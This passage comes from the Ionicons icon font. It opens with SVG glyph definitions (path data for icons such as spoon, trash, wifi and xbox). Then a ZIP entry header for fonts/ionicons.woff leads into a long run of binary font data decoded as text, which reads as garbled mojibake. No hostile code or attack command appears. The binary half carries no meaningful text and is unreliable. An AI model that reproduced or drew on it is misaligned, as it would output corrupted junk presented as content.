l16 27c-25 13 -52 21 -81 22v-32h-16v32c-29 -1 -56 -9 -81 -22l16 -27l-14 -8l-16 27c-12 -8 -23 -16 -33 -26s-19 -21 -26 -33l28 -16l-8 -13l-28 15c-13 -25 -21 -52 -22 -81h32v-16h-32c1 -31 11 -61 26 -88h-36c-14 29 -22 62 -22 96c0 124 100 224 224 224z" />
    <glyph glyph-name="ion-spoon" unicode="&#xf2b4;" horiz-adv-x="128" 
d="M128 288c0 64 -26 128 -64 128s-64 -64 -64 -128v0c1 -25 16 -54 37 -64l1 -1v0c3 -2 10 -6 10 -10c0 0 -16 -199 -16 -210s4 -20 10 -26s14 -9 22 -9v0v0c8 0 16 3 22 9s10 13 10 26s-16 210 -16 210c0 4 7 8 10 10l1 1c22 10 37 38 37 64z" />
    <glyph glyph-name="ion-star" unicode="&#xf24e;" 
d="M448 248l-139 -104l55 -176l-140 112l-140 -112l55 176l-139 104h172l52 168l53 -168h171z" />
    <glyph glyph-name="ion-stats-bars" unicode="&#xf2b5;" horiz-adv-x="352" 
d="M96 32v320h64v-320h-64zM0 32v96h64v-96h-64zM192 32v160h64v-160h-64zM288 32v224h64v-224h-64z" />
    <glyph glyph-name="ion-steam" unicode="&#xf30b;" horiz-adv-x="512" 
d="M480 240c0 -20 -16 -37 -37 -37c-20 0 -37 16 -37 37c0 20 16 37 37 37c20 0 37 -17 37 -37zM443 309c38 0 69 -31 69 -69s-31 -70 -69 -70l-67 -48c-2 -26 -24 -47 -51 -47c-25 0 -46 18 -51 41l-196 78c-8 -5 -16 -7 -26 -7c-28 0 -52 24 -52 52s24 52 52 52
c25 0 45 -18 50 -41l196 -79c8 5 17 8 27 8c2 0 3 -1 5 -1l43 62c0 38 32 69 70 69zM443 286c-26 0 -47 -20 -47 -46s21 -47 47 -47s46 21 46 47s-20 46 -46 46zM52 277c-21 0 -38 -17 -38 -38s17 -38 38 -38c3 0 5 0 8 1l-16 6v0c-15 7 -22 24 -16 39s24 23 39 17v0l19 -7
c-6 12 -19 20 -34 20zM325 165c-3 0 -6 -1 -9 -1l16 -6c16 -6 23 -24 17 -40s-23 -23 -39 -17c-6 3 -13 6 -19 8c6 -12 19 -20 34 -20c21 0 38 17 38 38s-17 38 -38 38z" />
    <glyph glyph-name="ion-stop" unicode="&#xf24f;" horiz-adv-x="384" 
d="M373 384c6 0 11 -5 11 -11v-362c0 -6 -5 -11 -11 -11h-362c-6 0 -11 5 -11 11v362c0 6 5 11 11 11h362z" />
    <glyph glyph-name="ion-thermometer" unicode="&#xf2b6;" horiz-adv-x="160" 
d="M127 112c20 -14 33 -38 33 -64c0 -44 -36 -80 -80 -80s-80 36 -80 80c0 27 13 51 33 65v257c0 26 21 46 47 46s47 -20 47 -46v-258zM65 370v-50h30v50c0 8 -7 14 -15 14s-15 -6 -15 -14zM96 160v16h-16v-16h16zM96 192v64h-16v-64h16z" />
    <glyph glyph-name="ion-thumbsdown" unicode="&#xf250;" horiz-adv-x="384" 
d="M24 195c-10 5 -18 17 -18 29c0 14 8 25 20 30c-4 5 -6 12 -6 19c0 14 8 25 20 30c-3 5 -5 11 -5 17c0 18 11 24 35 30s74 12 126 9c23 -1 55 -7 76 -7v32h112v-240h-112v16c-15 -1 -31 -4 -40 -14c-22 -23 -40 -65 -40 -108c0 -19 1 -29 -4 -34c-13 -13 -44 9 -52 37
c-9 34 -1 62 1 87h-103c-19 0 -34 15 -34 34c0 15 10 29 24 33zM336 352c-9 0 -16 -7 -16 -16s7 -16 16 -16s16 7 16 16s-7 16 -16 16z" />
    <glyph glyph-name="ion-thumbsup" unicode="&#xf251;" horiz-adv-x="384" 
d="M360 189c10 -5 18 -17 18 -29c0 -14 -8 -25 -20 -30c4 -5 6 -12 6 -19c0 -14 -8 -25 -20 -30c3 -5 5 -11 5 -17c0 -18 -11 -24 -35 -30s-74 -12 -126 -9c-23 1 -55 7 -76 7v-32h-112v240h112v-16c15 1 31 4 40 14c22 23 40 65 40 108c0 19 -1 29 4 34c13 13 44 -9 52 -37
c9 -34 1 -62 -1 -87h103c19 0 34 -15 34 -34c0 -15 -10 -29 -24 -33zM48 32c9 0 16 7 16 16s-7 16 -16 16s-16 -7 -16 -16s7 -16 16 -16z" />
    <glyph glyph-name="ion-toggle-filled" unicode="&#xf354;" 
d="M320 240c26 0 48 -22 48 -48s-22 -48 -48 -48s-48 22 -48 48s22 48 48 48zM320 320c71 0 128 -57 128 -128s-57 -128 -128 -128h-192c-71 0 -128 57 -128 128s57 128 128 128h192zM320 112c44 0 80 36 80 80s-36 80 -80 80s-80 -36 -80 -80s36 -80 80 -80z" />
    <glyph glyph-name="ion-toggle" unicode="&#xf355;" 
d="M320 288h-192c-53 0 -96 -43 -96 -96s43 -96 96 -96h192c53 0 96 43 96 96s-43 96 -96 96zM320 320v0c71 0 128 -57 128 -128s-57 -128 -128 -128h-192c-71 0 -128 57 -128 128s57 128 128 128h192zM128 240c-26 0 -48 -22 -48 -48s22 -48 48 -48s48 22 48 48
s-22 48 -48 48zM128 272v0c44 0 80 -36 80 -80s-36 -80 -80 -80s-80 36 -80 80s36 80 80 80z" />
    <glyph glyph-name="ion-transgender" unicode="&#xf4f5;" horiz-adv-x="512" 
d="M368 448h144v-144h-40v76l-101 -100c8 -17 13 -36 13 -56c0 -63 -46 -115 -104 -126v-52h72v-46h-72v-64h-48v64h-72v46h72v52c-59 11 -104 63 -104 126c0 20 5 39 13 56l-22 22l-36 -36l-33 33l36 36l-46 45v-76h-40v144h144v-40h-70l43 -42l36 36l33 -33l-36 -36
l17 -17c23 22 54 36 89 36c27 0 53 -8 74 -23c0 0 6 -5 15 -13l93 92h-70v40zM256 144c44 0 80 36 80 80s-36 80 -80 80s-80 -36 -80 -80s36 -80 80 -80z" />
    <glyph glyph-name="ion-trash-a" unicode="&#xf252;" horiz-adv-x="352" 
d="M261 320v0h91v-32h-9s-5 -1 -8 -4s-4 -9 -4 -9l-19 -241c-2 -29 -2 -34 -36 -34h-200c-34 0 -34 5 -36 34l-19 242s-1 6 -4 9s-8 3 -8 3h-9v32h91v29c0 19 14 35 34 35h101c20 0 35 -16 35 -35v-29zM112 349v-29h128v29c0 10 -9 15 -19 15h-91c-10 0 -18 -5 -18 -15z
M104 64h20l-10 192h-21zM187 64v192h-22v-192h22zM249 64l10 192h-20l-11 -192h21z" />
    <glyph glyph-name="ion-trash-b" unicode="&#xf253;" horiz-adv-x="320" 
d="M318 315c3 -12 4 -11 -7 -11h-302c-11 0 -10 -1 -7 11c2 9 4 13 4 13c3 9 9 9 19 11l53 7c7 1 7 1 10 7c9 20 10 31 20 31h103c10 0 12 -11 21 -31c3 -6 3 -6 10 -7l53 -6c10 -2 16 -2 19 -11c0 0 2 -5 4 -14zM283 272c17 0 18 -2 17 -15l-19 -242c-2 -12 -2 -15 -17 -15
h-208c-15 0 -15 3 -17 15l-19 242c-1 12 0 15 17 15h246z" />
    <glyph glyph-name="ion-trophy" unicode="&#xf356;" 
d="M448 345c0 -25 2 -73 -22 -122c-15 -30 -36 -55 -63 -75c-23 -16 -49 -28 -77 -35c-16 -17 -32 -27 -46 -31v-33s0 -49 99 -49h13v-32h-256v32h13c85 0 97 35 99 46v36c-14 4 -30 14 -46 31c-28 7 -55 19 -77 35c-27 20 -48 45 -63 75c-17 36 -21 71 -22 97v0v11v0v21v0
h80c-2 35 0 64 0 64h143h1h1h142s2 -29 0 -64h81v-7zM51 237c17 -34 43 -61 77 -78c-22 40 -33 84 -42 135c-1 8 -2 17 -3 26h-51c1 -23 5 -53 19 -83zM397 237c14 30 18 60 19 83h-51c-1 -9 -3 -18 -4 -26c-9 -51 -20 -95 -42 -135c34 17 61 43 78 78z" />
    <glyph glyph-name="ion-tshirt-outline" unicode="&#xf4f6;" 
d="M146 362l-104 -31l11 -32l39 4l38 5l-2 -38l-14 -255h220l-14 255l-2 38l38 -5l39 -4l11 32l-104 31c-6 -8 -13 -14 -21 -19c-15 -10 -34 -15 -57 -15v0v0c-34 1 -59 11 -78 34zM288 400v0l160 -48l-32 -88l-64 8l16 -289h-288l16 289l-64 -8l-32 88l160 48
c14 -27 31 -39 64 -40c33 0 50 13 64 40z" />
    <glyph glyph-name="ion-tshirt" unicode="&#xf4f7;" 
d="M448 352l-32 -88l-64 8l16 -288h-288l16 288l-64 -8l-32 88l160 48c14 -27 31 -39 64 -40c33 0 50 13 64 40z" />
    <glyph glyph-name="ion-umbrella" unicode="&#xf2b7;" 
d="M344 160v0v0v0zM104 160v0v0v0zM240 399c116 -8 208 -109 208 -227v-12c-4 25 -26 52 -52 52c-29 0 -52 -23 -52 -52v0c0 29 -23 52 -52 52s-49 -12 -52 -45v-135c0 -17 -6 -33 -18 -45s-29 -19 -46 -19c-35 0 -63 29 -63 64c0 9 7 16 16 16s16 -7 16 -16
c0 -18 14 -32 31 -32c18 0 32 14 32 32v134c-1 24 -26 46 -52 46c-29 0 -52 -23 -52 -52v0c0 29 -23 52 -52 52c-27 0 -49 -26 -52 -52v18c0 118 92 213 208 221v1c0 9 7 16 16 16s16 -7 16 -16v-1z" />
    <glyph glyph-name="ion-university" unicode="&#xf357;" 
d="M224 384l224 -111l-92 -60l-132 -85l-160 102v-198l-32 16v203l-32 21zM358 192l10 -82c-16 -12 -112 -78 -144 -110c-32 32 -128 98 -144 110l9 82l135 -88z" />
    <glyph glyph-name="ion-unlocked" unicode="&#xf254;" horiz-adv-x="384" 
d="M22 -32c-12 0 -22 10 -22 22v212c0 12 10 22 22 22h3h19v31c0 42 17 87 43 115s64 46 105 46v0v0c41 0 79 -18 105 -46c20 -21 33 -51 39 -82h-53c-5 18 -13 35 -24 47v0v1c-18 19 -42 29 -67 29v0v0c-25 0 -49 -10 -67 -29v-1v0c-18 -19 -28 -53 -28 -80v-31h265
c12 0 22 -10 22 -22v-212c0 -12 -10 -22 -22 -22h-340z" />
    <glyph glyph-name="ion-upload" unicode="&#xf255;" 
d="M366 215c45 0 82 -37 82 -83s-37 -84 -82 -84h-110v80h48l-80 84l-80 -84h48v-80h-102c-49 0 -90 41 -90 91c0 40 26 74 61 86c5 29 29 51 59 51c10 0 18 -3 26 -7c19 40 59 67 105 67c64 0 115 -53 115 -118v-3z" />
    <glyph glyph-name="ion-usb" unicode="&#xf2b8;" horiz-adv-x="256" 
d="M16 228v0v0zM256 320c0 -11 -6 -21 -14 -27v0c-2 -1 -3 -5 -3 -7c-1 -20 -3 -36 -9 -50c-7 -19 -20 -33 -39 -46c-17 -12 -29 -21 -36 -34c-7 -12 -11 -28 -11 -53v-24c0 -7 2 -13 10 -18c4 -2 7 -6 10 -9c8 -9 14 -21 14 -34c0 -28 -22 -50 -50 -50s-50 22 -50 50v1v0
c0 18 10 33 24 42c5 4 9 5 9 18v0c0 14 -3 17 -10 27s-18 17 -32 26c-19 13 -33 27 -40 46c-6 15 -8 31 -9 39s-2 9 -4 11c-10 6 -16 16 -16 28c0 18 14 32 32 32s32 -14 32 -32c0 -10 -4 -20 -12 -26c-3 -2 -4 -11 -4 -14v0v0c0 -9 3 -18 7 -28c10 -21 45 -44 52 -44
s8 5 8 12v196s-1 2 -3 4h-1v1v0c-9 6 -15 16 -15 27c0 18 14 32 32 32s32 -14 32 -32c0 -11 -5 -21 -14 -27v0c-2 -2 -2 -3 -2 -5v-140c0 -10 2 -12 8 -11c13 3 48 30 52 43c3 10 6 23 7 41v1c0 2 -2 4 -3 6c-10 6 -16 16 -16 28c0 18 14 32 32 32s32 -14 32 -32zM32 240
c9 0 16 7 16 16s-7 16 -16 16s-16 -7 -16 -16s7 -16 16 -16zM128 368c9 0 16 7 16 16s-7 16 -16 16s-16 -7 -16 -16s7 -16 16 -16zM224 304c9 0 16 7 16 16s-7 16 -16 16s-16 -7 -16 -16s7 -16 16 -16z" />
    <glyph glyph-name="ion-videocamera" unicode="&#xf256;" 
d="M335 263v-66l113 35v-89v-88l-113 35v-65c0 -5 -4 -9 -9 -9h-317c-5 0 -9 4 -9 9v12v55v171c0 5 4 9 9 9h208v38c0 4 -6 10 -10 10h-176v48h178c36 0 65 -29 65 -64v-32h52c5 0 9 -4 9 -9zM226 107c20 0 36 16 36 36s-16 35 -36 35s-36 -15 -36 -35c0 -10 4 -19 11 -26
h-68c7 7 11 16 11 26c0 20 -16 36 -36 36s-36 -16 -36 -36s16 -36 36 -36h12h95h11z" />
    <glyph glyph-name="ion-volume-high" unicode="&#xf257;" 
d="M199 40l-95 88h-104v128h104l95 88v-304zM255 92l-20 16c17 24 27 52 27 84s-10 60 -27 84l20 16c20 -28 33 -63 33 -100s-13 -72 -33 -100zM322 46l-21 16c27 36 43 81 43 130s-16 94 -43 130l21 16c30 -41 48 -91 48 -146s-18 -105 -48 -146zM365 369l20 15
c39 -54 63 -120 63 -192s-24 -138 -63 -192l-20 15c36 49 58 111 58 177s-22 128 -58 177z" />
    <glyph glyph-name="ion-volume-low" unicode="&#xf258;" horiz-adv-x="288" 
d="M199 40l-95 88h-104v128h104l95 88v-304zM255 92l-20 16c17 24 28 52 28 84s-11 60 -28 84l20 16c20 -28 33 -63 33 -100s-13 -72 -33 -100z" />
    <glyph glyph-name="ion-volume-medium" unicode="&#xf259;" horiz-adv-x="370" 
d="M199 40l-95 88h-104v128h104l95 88v-304zM255 92l-20 16c17 24 28 52 28 84s-11 60 -28 84l20 16c20 -28 33 -63 33 -100s-13 -72 -33 -100zM322 46l-21 16c27 36 43 81 43 130s-16 94 -43 130l21 16c30 -41 48 -91 48 -146s-18 -105 -48 -146z" />
    <glyph glyph-name="ion-volume-mute" unicode="&#xf25a;" 
d="M224 231l47 51v-180l-47 51h-65v78h65zM332 388c69 -38 116 -112 116 -196c0 -124 -100 -224 -224 -224c-39 0 -76 10 -108 27l-1 1c-69 38 -115 112 -115 196c0 124 100 224 224 224c39 0 75 -10 107 -28h1zM362 93c20 28 33 62 33 99c0 66 -38 123 -92 151
c-6 3 -11 6 -17 8c-19 7 -40 11 -62 11c-37 0 -71 -12 -99 -32l73 -74h-76l-36 35c-20 -28 -32 -62 -32 -99c0 -65 36 -121 90 -150c6 -3 13 -7 19 -9c19 -7 39 -11 61 -11c37 0 72 12 100 32l-20 20v77z" />
    <glyph glyph-name="ion-wand" unicode="&#xf358;" 
d="M192 208l48 48l48 -48l-48 -48zM0 16l176 176l48 -48l-176 -176zM224 352v64h32v-64h-32zM398 344l-45 -45l-23 22l46 45zM127 299l-45 45l22 22l45 -45zM376 50l-46 45l23 23l45 -46zM384 192v32h64v-32h-64z" />
    <glyph glyph-name="ion-waterdrop" unicode="&#xf25b;" horiz-adv-x="320" 
d="M175 409c40 -41 145 -160 145 -288c0 -85 -72 -153 -160 -153c-56 0 -106 27 -134 69c-6 9 -11 19 -15 29c-7 17 -11 35 -11 55v4c1 67 31 131 64 183c20 31 42 57 59 77c9 10 16 18 22 24l1 1v0c4 3 8 6 14 6c5 0 10 -3 14 -6v0zM160 24c55 0 100 45 100 100
c0 14 -3 28 -8 40c-17 -65 -70 -116 -136 -130c13 -6 28 -10 44 -10z" />
    <glyph glyph-name="ion-wifi" unicode="&#xf25c;" 
d="M224 352c80 0 156 -30 214 -84l10 -10l-10 -9l-32 -32l-10 -10l-9 9c-44 41 -103 64 -163 64s-119 -23 -163 -64l-9 -9l-10 10l-32 32l-10 9l10 10c58 54 134 84 214 84v0zM365 192l11 -10l-10 -10l-33 -32l-9 -9l-10 8c-25 22 -57 35 -90 35s-65 -13 -90 -35l-10 -8
l-9 9l-33 32l-10 10l11 10c37 33 83 52 132 54v0h9v0v0c52 0 102 -19 141 -54zM224 32l-10 10l-52 52l-11 10l12 10c17 11 32 20 61 20s47 -9 62 -20l11 -10l-10 -10l-53 -52z" />
    <glyph glyph-name="ion-wineglass" unicode="&#xf2b9;" horiz-adv-x="256" 
d="M167 153c-11 -4 -24 -8 -24 -32v-94c0 -11 4 -19 12 -25c3 -2 7 -4 15 -6c32 -9 48 -16 50 -18c2 -1 4 -3 4 -7c0 0 -14 -3 -96 -3s-96 3 -96 3c0 4 2 6 4 7c2 2 18 9 50 18c8 2 11 4 14 6c8 6 11 14 11 25v94c0 24 -11 28 -22 32s-18 6 -26 11c-12 7 -23 16 -32 26
c-20 23 -31 52 -31 87c0 50 4 100 8 114s14 25 31 25h178c17 0 27 -11 31 -25s8 -65 8 -115c0 -35 -11 -63 -31 -86c-9 -10 -20 -19 -32 -26c-8 -5 -15 -7 -26 -11zM128 178c26 0 50 11 67 28l6 6c16 18 22 35 23 65s-2 83 -8 107h-177c-7 -35 -8 -80 -7 -108s7 -46 23 -64
c2 -3 4 -6 7 -8c17 -16 41 -26 66 -26zM208 277c0 -10 -1 -20 -4 -29s-8 -18 -15 -25l-5 -5c-14 -14 -34 -23 -56 -23c-21 0 -41 8 -55 22l-6 6c-7 7 -12 16 -15 25s-3 15 -4 29c-1 9 0 34 1 53c1 10 2 19 3 22h153c1 -6 2 -14 2 -22c1 -21 1 -45 1 -53zM192 269v0v26
c0 4 -4 8 -8 8s-8 -4 -8 -8v-26c0 -3 1 -6 3 -7c1 -1 3 -1 5 -1c4 0 8 3 8 8zM191 316c1 2 1 4 1 6s-2 4 -4 5s-4 1 -6 1s-4 -1 -5 -3s-1 -4 -1 -6s2 -4 4 -5s4 -1 6 -1s4 1 5 3z" />
    <glyph glyph-name="ion-woman" unicode="&#xf25d;" horiz-adv-x="192" 
d="M30 299c3 12 17 33 42 34h48c24 -1 38 -22 42 -34l29 -104c6 -23 -21 -32 -27 -10l-26 96h-9l46 -169h-43v-127c0 -23 -31 -23 -31 0v127h-10v-127c0 -23 -32 -23 -32 0v127h-42l45 169h-7l-27 -96c-7 -21 -33 -13 -27 10zM133 379c0 -21 -17 -37 -37 -37s-37 16 -37 37
s17 37 37 37s37 -16 37 -37z" />
    <glyph glyph-name="ion-wrench" unicode="&#xf2ba;" 
d="M430 333c14 -14 19 -31 18 -44s-6 -39 -32 -65s-77 -42 -113 -24c-5 3 -13 5 -21 -3c-10 -9 -202 -215 -202 -215c-17 -19 -48 -18 -66 0s-19 49 0 66c0 0 207 194 215 202s5 16 3 22c-20 47 2 89 24 112c22 24 51 31 65 32c13 1 31 -5 44 -18l-57 -56l10 -56l55 -10z
M59 5c6 6 6 17 0 23s-16 6 -22 0s-6 -17 0 -23s16 -6 22 0z" />
    <glyph glyph-name="ion-xbox" unicode="&#xf30c;" 
d="M95 200c-49 -72 -50 -139 -50 -143c-28 38 -45 84 -45 135c0 67 30 128 77 169l3 -1c51 -18 93 -68 93 -68s-38 -33 -78 -92zM448 192c0 -51 -17 -97 -45 -135c0 4 -1 71 -50 143c-40 59 -78 92 -78 92s42 50 93 68l3 1c47 -41 77 -102 77 -169zM169 367
c-37 17 -65 12 -72 10c36 25 80 39 127 39s91 -14 127 -39c-7 2 -35 6 -72 -10c-29 -13 -55 -35 -55 -35s-26 22 -55 35zM327 155c40 -49 54 -85 62 -108l2 -5c-41 -46 -101 -74 -167 -74s-126 28 -167 74l1 5c8 23 23 59 63 108c46 57 103 94 103 94s57 -37 103 -94z" />
  </font>
</defs></svg>
PK!�y�c@	@	fonts/ionicons.woffnu&1i�wOFF	@
��FFTM	$m��*OS/2�J`A9a�cmap\��mncvt ,Dgasp	��glyf
���p�"&head0.6�*�hhea`$��hmtx�o~A
Iloca0�”�)�maxp�  <�name�x\���upost��Fʙ���x�c`d``b�B��x~���L p��W=��� ��,
& x�c`d``<��IF�tQs��r@.x�c`a�a����������2H2�0001�13�������p�#��`�c<��fDR���}
�xڍV;r1m����ĜB!E�!�8���@E@Q.n@2�B�[d��֧%=���]~�^I-��uk�'=��wMd62��H&�6�XdJsn/�=�#��y�;L�
�E�K�Yv`ژƵ`!�'�u�d�l�=g2r<B9?�Mg��[�)��u^G�{��-�<�f��߻	���+c�'g;���%�3D�_Z�d�~1�<1n�slA��B��)��ƸD{M����k���nJ�8�yA���c��
f2����smj�vz/B��>�e�=��I�'ͽ��նϑ�^�$@�ۚ�+�+w�f�i��}�
1]꺇u'�o!g�{*_�Y?���T��Z/���n���|_�ev"p��J�`�z���ך��'�=ox>��܄M�.��]_��+��x
5~�=��l�w�|.�t.�{����k���X*�L�=�*d��[��2,�ꭂ�`?���B���~{�����I�8��6�'|d������J��A���>���\k��%����f����_�S����_�g�7#��m2�h3|+
=Nj3�<H�'o;�_�(7;�������8Z�H�m�9���54�{�q�С�Tڬ|��<��V�#x�c```f�`F��1��,7����%����G��ޟj?�t���O�>]�t���O>=���ӛO>���3�g���e�|�����#�Gˏ��?��4��>����.~�����5PϗO>�~���l��??3??�?�@>+>s>3>S>}>]>->
>5>%>E>9>i>	>A>>>>N�P7�������agV�D***Rd���� HXv������Hf��$r��:Z��
Z���.Pr�$R���	&	�	�	�	�
X
�
�
t���$n�
f
�
�"6|�.J��Bf�(`����d����6r��0�h���&V��(Bp��(Z�\�X��N�6v�h� 2 � � �!8!~"@"�#$#J$$�%%R%�&0&�'J'�'�((�(�))n)�)�)�**R*�*�+"+R+�+�+�,,Z,�,�-&-V-l-�-�-�-�-�..$.X.z.�/�/�0,0�11~1�1�2b2�2�2�4`4t4�4�55l5�6626�6�77�7�8T99�9�::z:�:�:�;0;X;�;�<*<|<�==�>>??�?�@Z@�ADAtA�A�BB�C<CxD.DTD�E�F�F�G�I�I�JJ2JbJ�J�J�KK4K�K�K�L&LLL�L�L�MMM:MJM�M�M�NN^N�ONO�P*P>P�P�QbR&R�S"SfS�S�T0T�T�URU�VVhV~V�WW>W�W�X2X�Y0Y�Y�ZRZ�Z�\.\�\�]$]�]�]�^^6^T^�^�^�^�^�^�___$_0_D_z_�_�`H`^`�`�a$aha�a�a�bb:bfb�b�b�c.cNc�c�c�dd dJdhd�d�d�d�eeZe|e�e�ff�f�gg2glg�g�hhhlh�h�h�iiFini�i�j,jVjrj�j�j�j�k$kBkjk�k�k�llLltl�l�m:mjm�m�m�nnFn`npn�n�oo&oJo�pp�p�p�qlq�rDr�s2s�s�s�tbt�uhu�u�u�vvv*vNvrv�v�v�w�x�x�x�y�z�{T{�||V|�}R}p}�}�~~p~�~�
J����>������T����2�Z�t�΃��@�`�����̃��2�X����B���چ���·�6�.�ĉ\��6�r���Ћ(�z���ʋ��6�V�p������X�v������@���ҏ�\�����V�r�|�ȓ����ܕP���d�ڗ���b���ʘ��\�������8�j���֛ �8�f����ڝN����,�Z�������0���Ҡ�,�x����J�|�����ơ��>�b���Ԣ��*�N�f��l���ޤ��
������,���J�6���H��v������,���̭���.�N�x���د�J�|����f����h�����Ҳ�2�^��:�Z�l��p���Ĵ��v��N�p����������ĸ�
� �v����R�ܻ(���Լ&�Z�콎�̾���ֿ$�d�������@�^�������L���2������4İ����JŮ�N����>Ƕ����B����F���l����<��.�N���2�xϞ� А����8xڬ�	�dGu&�"�oߗ��efef�K��KUe����Ԫ�Z�v�Z�AK ��V #c84�SgFX�l�0cS6�l��2�Z�9�=�c[�x<�Ǔ�o�ˬ�j�g���x�XnD��7"9�9����9��~
qs�?M���Ŀ�iC��O/��򧉄�m����t�N��T��_���3jBj<�8}�s�p\5$R�T�׺^�y�JЅ/�mI��-�(H�YtE���e4"�DC7+J�s��.@z��^����+#U��z�o����k�z��C1}���&Z�$.�n��n�(��y�VP�4E��v��zsk}um���+|���4�#��
�O��o.O��kk���e�Y�v���~��5�`�&q\3�es������5DKt�j�V�Yj��oa	J��*A��q�WG������R������E��
�F���@�!�F�G]}�ܣ��r��攆��J�}�9E9��]e�[��ߚW��%�mw�fP	6�y�_�Q���v�PVǧ��Zk}4)��cZ>t3�������5t��ףe�$�KS(������ޯd\ea�\PP�FKu1L��VIں��wJ���](h���ELsN�ge7�/)kD[IeZOH�E��������A���%e��JPiWX1Y�/�UȎvE �
�퉖vS�^�/x]ZK���*ז���������`���n�֡D&Ի^��з��A>��?�l%ypp;
�f�Io~�lt;�V�@�������{���b�:;�_;�ؘ�*mg,��L�M��?�j�ϧ
�R�ND��Xf*��-"����Zʲu-
���x��4�0�t\�����mŐ$Q@Hl�2TE�<B�H��c��Ss�Wr���?�P��OQS����2�������tb����N��ҡ�(���ʕ�BF�n��ʚ����J2�TY�L��
��D�S
imp\y%�٦����z��*K|��!kP�s{Wm�^�;ڔ�G�6;5�ֹ	=���nε7YXAq���ѣM�j�N�3�S]Ӆ�:�c<�e�q��[^B-�Nyh�<�WU�I�UUћԪ
�_9��=��S���v�W�w�է^����P��J۩F�)��JAi	5�ghb�GY–�
���Rdi���x3�Y������Ji4���L���e:/�d�.M�%�ƒ܇ ����?�?Cң�${1�� ��9n/w���"Z(�.M��3*��T���pM"�� �:m:x�A؁x�+�!��"���"�E�!Q&��4�D�p�6��z�N<_PU�"����ª�@�)A�O��x���e��^��EB�*x����^%�,�������-r�KYT"��p$�m���6ƽh6:���@�sJΛs.t���#��_���|-�^�ܼ��@=׌i�
f�yYF�	;��$�_@܋�l�
6@f�@v�qӴoВ0~L˵QTЈ"��i�ʒ�i���c�aћM�7����b�6ԉ���tNt�%���މ��h�3�J����5u�/�'����'�m�_��'��W�&�V&o�\Xp@�Ee�ڵ���KA��� e�}X�m��0

�u�i�������Ckp��&�u;�}_��_�Z�g۱m��sI;�����\.�E7��)�&ПgQ�4�=����c$�P��4�g���H8?Q����$�����.�|��]����\v���X�~���"'�P�2lM�MМ�v�u�jkK�_�n R�sY�2)��T��`ܑ�2W�����G�[���2�SI?�������3�]4��i��F@P�GLHA�$bٯH?��ϝy䑏?RBXO2/#T=�C�D���^w;��L�+b��o�A�Hy~tI^"ǗH���$�����T
d>��z�P��55��	rhu�Q��;�D����"^Z��ȝ9�x��X���������do2��.�u���t��)�[:����t����91�c�`�S��CZ
�Hr>p�(lt��GხA��x�^=
P�iH���y���p`�B�pE�!�`14y�K\���곈�󰈼z4#��Y-�BQK������%���!���rY/��q"Ǝ��1��M��n@���@=��#�K�/��w��-aAZ�2x]
⾿)���F.ؒt�!m��o�%����D�$ZP'��,e������QY.����Ƞ|/~��YLѺ�,�3;�"�I��[��i�/~q�4��6I���4
�lgK�(�d�\I9x�2�K��A����Fs�����]R��rTg�����ٴ��.�q'�̅���R��z�o6Z-h
'��'�E�p
�\a��g����c�l-�����mkO���8�QM��R4�*�?~c�o}�%�D+�Y/�ERZ�倁?��݀0e��N���&���g0F����v3#c����`<AK�����(,���5
'������1�| I'N``O.��C�٧�����cO?�db|�8�B_ܥg��ô�(W�D�&�!z���G�r����ia������݉��]ei3HD�O�c�T���h&]��� J£�Ұ&�=�L�<{lIЅ�@��.<�6U��6xUUޖ�;4^e�xcG��w��I�0@�*�ϗ����.g�R����e�X��:�œ�I�zx��Eh=ހ�m�ӺВB�E$��
&�z��z�a�ݢ��~�g>j�?���~%~BS����t�؍
c��	:�W�M�P�X��r�،p���N���%�Ϯ�ٳ�窱Lf,��z�'�<r��#����9��w���7��;��p(�v�A.N<���L��j�n�S>�`�u����;W�#�z����
�+��lH��O���<���7��y�q�?���s��@�$��4U����7�*|�Q^9?y��m�--^�%Aw#�kT@��P"ˢ%��5��{�r�2�y+�x�U�V�U�	B�&������A>����=K�8��8�b��%_d�����}t�*��ր���z�@�As��8�;_y��z����n��w@!��q>C��4�rK�RU�u��F�h��T�I*���
8"RDu&O;]P��,cO屨|���y�#����-�,��ɶ�O�!*������,H*�j�7��DIP�o���π��'�4ɟ(�O7Sы�1y�
&�m,�lL��%���u(y#2�JyחѰ�vPaz4m6i�Uf��c��c����������7�&h@ӅB�C�Ys���b��_v�u:��.!a�8]T�f���W�Q�^@yT��.p�J����0-"���+��)��\����|���f�h)j.gJ%�Pd|L+<��L�ƉM3��cu��ҭQZ���Q��{%"]t����D1x��6z����W���4����@``,Θ�1��5�C��wl/|Ƹ�E�끬�Yj}�ji�Yr(��.B�G<E�T]m�>�n�x���n�K��i�<zs��x���a4��	��>�vfZcݸ1�K�ݙ�X�v��֮�,���P�d	��t�WC@��p���tNN�[���/>0�3[0~68���i�ݭ��m57��"�9_�о�
hJSZ��ը�S�
T�U:A:ª��.#��:�Z���%M��w[����"DR�g����T�uCȕu�+:�$�,4�ٺ�*&��k[��ݙ�?�
��SԒ4�G��h��Lj�N��V��
�6�a�����n��Z9�VB;<��2_S�j�(�\J	��Z*W�Ŀ_ݻwu�w��r.]��jURk��Z9m9�b���TN��/�����A_�H��u��v�N��Z��nvX�mu#F���OKZ�)���ԉ5iz
�['�O��|���S>���<?��2���	D|�Dք�T21ATx�n��Pe�gR�Dʵ����������|�4f������3=� �Y�ux���:I";�O�WX�G�����$�N�&�D�n@St@���.�cĥ:�	�
:z�����k�db� �y�[�L�8�*Ü�aA3� �@��l���B	�I<o��b9��M"c�剆]����n=_�=5WR���)b����A�#��"HE�,'���q
KU����}^�}�h�^թ,�SQ���'zs���O�˅W����V���	A�r��# �;)�]$f�JLהJA��m�"j%��`�F����n�z:U�y�A)�2�3��:K��Z����q�w9^�s
o!��P�uA�,#'��Ȋ9���
���8x�c�3�;���Ma)���YiQD���f�2�V�S��%�d�`��4Mt�ʤ-r�t~v�`����΢��Ō�6u[�%q�WS�(�c������~�(3�����(>W�ȧ� ��E��kkk���|�	�����[������1rZpB�n2��`�����sc;60T���@�o�M��J\"�[9��c�г�#���"�п=)�}�!m������	@���@����DGE,@>��v``��p4ꊀL+s�L��݊�uZ+6�~U5���D��(@���!"�_@���t>���U�Eת����'ҝ���S���%��:���E-d*�����F�:��&�W�@)8vT�ЊH����`*
ZY'�~�,Z��t����Q���'�A�(���H�iS�)Cx�7�f�s�����k�3sT�j�7�m;��.'��h:��ڠ���u��:kV�~��g-�ʖ؟��m:�X��,�s��I���&
6��kQ|Zk5|��#�3�;�jx+-˲TM&�'8��ɱ
�`�*}f��f��q��/��<�Ț:|��r�M���
